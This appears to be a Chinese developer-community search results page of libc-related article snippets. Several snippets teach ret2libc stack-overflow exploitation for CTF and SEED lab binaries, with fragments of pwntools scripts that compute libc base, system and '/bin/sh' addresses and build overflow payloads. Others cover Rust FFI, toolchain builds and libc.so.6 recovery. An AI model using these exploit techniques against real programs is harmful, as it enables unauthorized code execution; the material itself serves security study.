首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏二进制漏洞研究

    Return-to-libc

    (图为网上一道pwn题的思路,可以帮助理解,和本实验的地址不一样) 我们可以利用Return-to-libc的方法构建栈帧绕过NX选项:   NX即No-eXecute(不可执行)的意思,NX选项会将进程特殊区域的内存标记为不可执行 www.trapkit.de/tools/checksec.sh 实验地址:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc

    1.8K20发布于 2019-02-27
  • 来自专栏Rust语言学习交流

    Rust FFI 编程 - libc crate

    libc 是什么 libc 是对各平台的系统库的原始 FFI 绑定。其代码地址在:https://github.com/rust-lang/libc。可以看到,这是 Rust 官方维护的一个库。 libc 的导入 在项目的 Cargo.toml 中添加如下配置,就可以导入 libc 了。 而 Rust 的 libc crate,不完全等价于 C 的 libc 库的封装。 举例:使用 libc 创建子进程 说得那么神乎其神,还是让我们见见 libc 的庐山真面目吧。 而 libc 中,对这些内容,也重新定义了一份(比如:https://docs.rs/libc/0.2.69/libc/type.c_char.html)。为什么呢?

    3.3K21发布于 2020-04-26
  • 来自专栏yulate的网络安全技术分析

    PWN ret2libc

    前言 ret2libc 应该是栈溢出里面的一个难点了,在这点上也卡了很久,现在做个学习记录 ret2libc 思路 ROPgadget --binary . = LibcSearcher('puts',puts_addr) # 找出函数地址偏移量 libc_base = puts_addr - libc.dump('puts') = libc_base + libc.dump('str_bin_sh') payload2 = b'a' * (0x50 + 8) payload2 = payload2 + p64 = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload =

    96110编辑于 2023-05-02
  • 来自专栏owent

    重写了llvm+clang+libc++和libc++abi的构建脚本

    clang++ -O0 -g -ggdb -std=c++11 -stdlib=libstdc++ [源文件…] > > clang -O0 -g -ggdb -std=c++11 -stdlib=libc ++ -lc++ -lc++abi [源文件…] > > clang -O0 -g -ggdb -std=c++14 -stdlib=libc++ -lc++ -lc++abi [源文件…] > > clang++ -O0 -g -ggdb -std=c++11 -stdlib=libc++ -lc++abi [源文件…] > > clang++ -O0 -g -ggdb -std=c++ 14 -stdlib=libc++ -lc++abi [源文件…] > > 其他选项参见: llvm-config –cflags ; llvm-config –cxxflags ; llvm-config –ldflags 如果使用clang -stdlib=libc++则需要加上-lc++ -lc++abi的链接选项,或者使用clang++ -stdlib=libc++ -lc++abi。

    2.6K20发布于 2018-08-01
  • 来自专栏ly0n

    ROP-Ret2libc学习

    ”/bin/sh”字符串,并且没有给出libc.so文件 基本思路 ​ 针对于上面的几类ret2libc ,不管程序有没有直接给出我们需要条件,我们都要想办法得到system函数和字符串/ /ret2libc_32") #libc = ELF('/home/ly0n/pwn/tools/libc6-i386_2.23-0ubuntu10_amd64.so') libc = ELF('/lib 4))-libc_write_addr system_addr = base_addr+libc.sym['system'] binsh_addr = base_addr+libc.search('/bin /ez_ret2libc') libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('/home/ly0n/pwn/tools/libc6-i386 = int(libc.sym['puts']) base_addr = puts_addr-libc_puts_addr system_addr = base_addr+int(libc.sym['

    95830发布于 2020-11-04
  • 来自专栏owent

    再度优化GCC、LLVM、Clang、libc++、libc++abi等套件的构建脚本

    前言 一直以来,我都维护了完整的 GCC 工具链构建工具 和 LLVM,Clang,libc++,libc++abi工具链构建工具 。 同时很多发行版自带的 LLVM+Clang 套件都缺斤少两,有的缺少 clang-analyzer ,有的缺少 clang-format ,也有的缺少 libc++ 和 libc++abi 或者缺少sanitizer 这两天把 LLVM+Clang+libc++abi+libc++工具链构建工具 升级到了最新的Release 14.0.1 版本,然后发现很多配置都过时了,所以大规模重构了以下。 ++abi等 LLVM,Clang,libc++,libc++abi工具链构建工具 经历过多次改版。 首先我们和 GCC 工具链构建工具 一样,我们也给 LLVM,Clang,libc++,libc++abi工具链构建工具 增加了用于生成RPM包的配置。

    3.9K40编辑于 2023-03-06
  • 来自专栏宸机笔记

    ROP-Ret2libc详解

    /ez_ret2libc") #libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64  = int(libc.sym['puts']) base_addr = puts_addr-libc_puts_addr system_addr = base_addr+int(libc.sym['system /ret2libc_32") libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64 4))-libc_write_addr system_addr = base_addr+libc.sym['system'] binsh_addr = base_addr+libc.search('/bin /ret2libc_64') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('../..

    2.3K40发布于 2020-11-04
  • 来自专栏全栈码

    误修改 libc.so.6 急救

    ll  /lib64/libc.so.6 lrwxrwxrwx 1 root root 11 Aug 27 2014 /lib64/libc.so.6 -> libc-2.5.so glibc是gnu 发布的libc库,即c运行库。 =/lib64/libc-2.5.so  ln -s /lib64/libc-2.5.so /lib64/libc.so.6 注意的是,这整条命令要在同一行执行,不能分两行,否则就无效了 glibc是一个非常底层的库 .6改名了,从而也导致了上面的错误,于是就可以按照下面方法恢复libc.so.6 LD_PRELOAD=/lib64/libc-2.5.so mv /lib64/libc.so.6.bak /lib64 /libc.so.6

    4.5K50发布于 2019-05-08
  • 来自专栏Java小技巧

    Linux|libc.so.6升级

    问题背景 1.由于开发内网需要用到node环境,引入node安装到内网 2.解压、安装、配置环境变量后发现系统GLIBC包版本过低 3.GLIBC是GUN发布的libc库,即C运行库 4.需要安装GLIBC 操作完成之后查看libc.so.6,发现还是之前的引用,但输入node命令可正常使用 总结 1. 由于不是个人服务器,达到目的即可,就不再深入的操作 2. libc.so.6本身就是Linux的核心类库,之前操作过一次就发生了很大的问题 3. 内网办公限制着实很多,但是只要耐心问题都能解决 4.

    7.3K20编辑于 2022-05-23
  • 来自专栏网络信息安全

    ROP-ret2libc基础知识

    ROP-ret2libc基础知识 前提知识准备 Linux延时绑定机制 Linux演示绑定机制的实现 延迟绑定对我们有什么意义 libc函数在哪? ret2libc使用条件 如何使用libc plt表和got表的关系 整体的跟踪 前提知识准备 Linux延时绑定机制 动态连接的程序调用了libc的库函数,但是libc在运行才被加载到内存中,调用libc ,用于泄露地址 覆盖新地址到got表,劫持函数的流程 plt表: 不用知道libc函数真实地址,使用plt地址就可以调用函数 libc就是linux下的c函数库: libc中包含着各种常用的函数, 在程序执行时才被加载到内存中 libc是一定可以执行的,跳转到libc中函数绕过NX保护 libc函数在哪? 、绕过NX ret2libc aslr随机化 泄露libc地址 2、aslr导致ret2libc的技术常常需要配合一个泄露的操作 3、ret2libc = leak libc 地址 + sys(/bin

    49510编辑于 2024-03-12
  • 来自专栏技术博文

    误删除libc.so.6的解决

    .6 软链接更新为 /usr/local/glibc-2.17/lib/libc-2.17.so, 于是我准备删除 /lib64/libc.so.6,然后新建一个指向/usr/local/glibc-2.17 /lib/libc-2.17.so.然后我就删除了 /lib64/libc.so.6,然后,就没有然后了。。。 glibc: libc.so.6 是c运行时库 glibc的软链接,而系统几乎所有程序都依赖c运行时库。程序启动和运行时,是根据libc.so.6 软链接找到glibc库。 删除libc.so.6将导致系统的几乎所有程序不能工作。 每个glibc.so文件有它支持的libc版本,可以通过: strings /lib64/libc.so.6 |grep GLIBC_ 查看。 如果程序编译的时候链接的libc库版本不在程序运行环境下的glibc库支持的libc版本之内,也会报错. 于是,系统的所有命令 ls,cp,cd 等等都无法使用了。

    2.1K100发布于 2018-04-16
  • 来自专栏FreeBuf

    ret2libc过地址随机化

    这里我们需要了解几个知识点: (1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的) (2)在linux的gcc使用C语言源文件的二进制文件时 相对偏移地址为 gets函数的真实地址减去在libc中的地址: rva_libc=gets_real_addr-libc.symbols["gets"] 我么就能知道system与'/bin/sh'的真实地址了 ,分别为: addr_system=rva_libc+libc.symbols["system"]addr_binsh=rval_libc+libc.search("/bin/sh").next() 接下来我们就可以开始写 =ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移 addr_system=rva_libc+libc.symbols["system"]//system的真实地址addr_binsh=rval_libc+libc.search("/bin/sh").next

    1.1K20发布于 2020-05-13
  • 来自专栏along的开发之旅

    Android bionic 和 其中的libc由什么组成

    libc/ --- libc.so, libc.a The C library. What's in libc/? libc/ arch-arm/ arch-arm64/ arch-common/ arch-mips/ arch-mips64/ arch-x86/ arch-x86_64/

    2.1K11发布于 2020-01-14
  • 来自专栏二进制漏洞研究

    Libc Realpath缓冲区下溢漏洞分析

    CVE-2018-1000001是一个Libc Realpath缓冲区下溢漏洞,漏洞的产生是由于GNU C库没有正确处理getcwd()系统调用返回的相对路径,其他库也很可能受此影响。

    1.7K20发布于 2019-02-27
  • 来自专栏DPDK VPP源码分析

    探秘VPP:快速定位libc内存泄漏的有效方法

    以 IKEv2 插件使用的 OpenSSL 库为例,这些外部库一般会通过标准的 libc 函数,如 malloc() 和 free() 等来进行内存管理,这实际上是在使用默认的 libc 堆。 但 vpp 本身并不知晓这个默认 libc 堆的存在。这一情况直接导致 vpp 自带的内存跟踪工具(memory - trace)失去作用,无法对外部库使用的内存进行有效跟踪和管理。 allocation requested but no vpp heap ready, defaulting to libc. 在上图第2行的提示中,反映了在VPP初始化的初期,由于VPP自身的堆管理机制尚未准备就绪,暂时通过libc的malloc()函数进行内存分配。此状况仅会在VPP启动的极短时间内出现。 这表明预加载使我们能够捕捉到通过libc库进行的内存分配操作,即使这些操作实际上是由OpenSSL函数发起的。

    65110编辑于 2025-03-14
  • 来自专栏鸿蒙开发笔记

    OpenHarmony 轻内核M核源码分析系列十九 Musl LibC

    LiteOS-M内核LibC实现有2种,可以根据需求进行二选一,分别是musl libC和newlibc。本文先学习下Musl LibC的实现代码。 1、Musl LibC文件系统在使用Musl LibC并且使能支持POSIX FS API时,可以使用文件kal\libc\musl\fs.c中定义的文件系统操作接口。 int ftruncate(int fd, off_t length){ return LOS_Ftruncate(fd, length);}2、Musl LibC内存分配释放LiteOS-M内核提供了内存分配释放函数 return NULL; } return LOS_MemRealloc(OS_SYS_MEM_ADDR, ptr, size);}小结本文学习了LiteOS-M内核Musl LibC

    43110编辑于 2025-05-28
  • 来自专栏算法之美

    案例分享-libc STL 造成的疑似“内存泄漏”

    案例分享-libc STL 造成的疑似“内存泄漏” ? 现象描述: 我维护的一组服务器程序出现了严重的内存泄漏,32GB的内存,几天就跑满了。 最近几天努力了一下,终于找到原因所在,并解决了问题。

    2.3K30发布于 2020-10-29
  • 来自专栏安恒网络空间安全讲武堂

    二进制学习系列-栈溢出之libc利用

    我们一般泄漏__libc_start_main的地址,这个地址就是libc文件的基址 所以大致的步骤就是: 1.泄漏__libc_start_main的地址 2.获取libc版本 3.再次执行main函数 libc,具体看 https://github.com/niklasb/libc-database 3.获取system函数以及/bin/sh地址: 用所计算得到的libc基地址: __libc_start_main - libc.symbols['__libc_start_main'] 加上所获取到的system地址: libc_database + libc.symbols['system'] /bin/sh ,playload) libc_real = u32(p.recv(4)) print hex(libc_real) sys_addr = libc_real - (libc.symbols['__libc_start_main '] - libc.symbols['system'] ) bin_addr = libc_real - (libc.symbols['__libc_start_main'] - next(libc.search

    3.7K43发布于 2019-09-29
  • 程序运行时间测试 - 使用libc 中 clock 函数

    我们运行程序的时候,可以简单使用clock函数测试程序的运行时间:(本示例中以微秒为单位输出)

    94920发布于 2020-12-30
  • 来自专栏ascii0x03的安全笔记

    SEED缓冲区溢出实验笔记——Return_to_libc

    参考:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/      http://drops.wooyun.org /tips/6597      Bypassing non-executable-stack during exploitation using return-to-libc by c0ntex | c0ntex [at]gmail.com      ROP轻松谈      《程序员的自我修养》(虽然我没看完,但是对于理解这一切很有帮助) 在已经了解了缓冲区溢出的基本原理后,使用R2Libc方法需要获得最关键三个参数 :system()、exit()、“/bin/sh”的地址,其中system()和exit()是libc.so中的函数,我们想要调用system并传入“/bin/sh”,并且返回到exit()的地址正常退出 但是程序的环境变量地址往往难以猜测,不如利用libc.so里的字符串,采用gdb如下指令可以查找到该地址。其中0xb7e5f430是system的地址。 ? ?

    1.2K60发布于 2018-04-12
领券